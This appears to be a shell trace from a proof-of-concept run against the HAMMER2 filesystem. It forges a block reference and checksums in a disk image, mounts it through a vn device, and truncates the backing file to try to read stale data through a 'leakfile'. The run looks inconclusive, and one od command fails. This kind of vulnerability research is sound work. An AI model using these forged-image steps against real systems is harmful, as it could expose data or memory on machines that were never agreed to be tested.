+ timeout 10 umount -f /mnt/h2
+ dmsetup remove_all
+ vnconfig -u vn0
+ cp /root/poc/base.img /root/poc/seed2.img
+ dd 'if=/root/poc/seeda.txt' 'of=/root/poc/seed2.img' 'bs=64k' 'seek=3072' 'conv=notrunc' 'status=none'
+ /root/poc/forge2663 /root/poc/seed2.img /root/poc/seed2.img 0xC000010 0x00 0
DATA bref @0x1800200 -> data_off=000000000c000010 methods=00
check@0x1800a40 (block 0x1800000) = b655f10c6498c9d7
check@0x1800e40 (block 0x1800800) = 057db007bcba4063
check@0x240 (block 0x1800c00) = 24e8dfb085d30be0
verify 0x1800000: b655f10c6498c9d7 (stored b655f10c6498c9d7)
wrote /root/poc/seed2.img
+ vnconfig -c vn0 /root/poc/seed2.img
+ echo '=== PHASE 1: read real SEEDA at 192MB'
=== PHASE 1: read real SEEDA at 192MB
+ mount -t hammer2 -o ro /dev/vn0@leakfs /mnt/h2
+ cat /mnt/h2/leakfile
+ echo 'SEED_RC=0'
SEED_RC=0
+ md5 /root/poc/seed2_read.bin /root/poc/seeda.txt
MD5 (/root/poc/seed2_read.bin) = cf6f3b3c5292fa2cf4699e6ca24a5d80
MD5 (/root/poc/seeda.txt) = c298879c409c5896249b8187c71c1cda
+ umount /mnt/h2
+ echo '=== PHASE 2: truncate backing (vn0 attached), remount, read'
=== PHASE 2: truncate backing (vn0 attached), remount, read
+ truncate -s 201326592 /root/poc/seed2.img
+ mount -t hammer2 -o ro /dev/vn0@leakfs /mnt/h2
+ cat /mnt/h2/leakfile
+ echo 'STALE_RC=0'
STALE_RC=0
+ md5 /root/poc/stale2_read.bin /root/poc/seed2_read.bin
MD5 (/root/poc/stale2_read.bin) = 221a2a3cc686a5578f9e0f7f7af55c97
MD5 (/root/poc/seed2_read.bin) = cf6f3b3c5292fa2cf4699e6ca24a5d80
+ grep -c SEEDA /root/poc/stale2_read.bin
0
+ echo no-SEEDA
no-SEEDA
+ grep -v '^\*'
+ head -12
+ od -A x -t xz /root/poc/stale2_read.bin
od: z: unrecognised format character
+ umount /mnt/h2
+ vnconfig -u vn0
+ echo STAGE4_DONE
STAGE4_DONE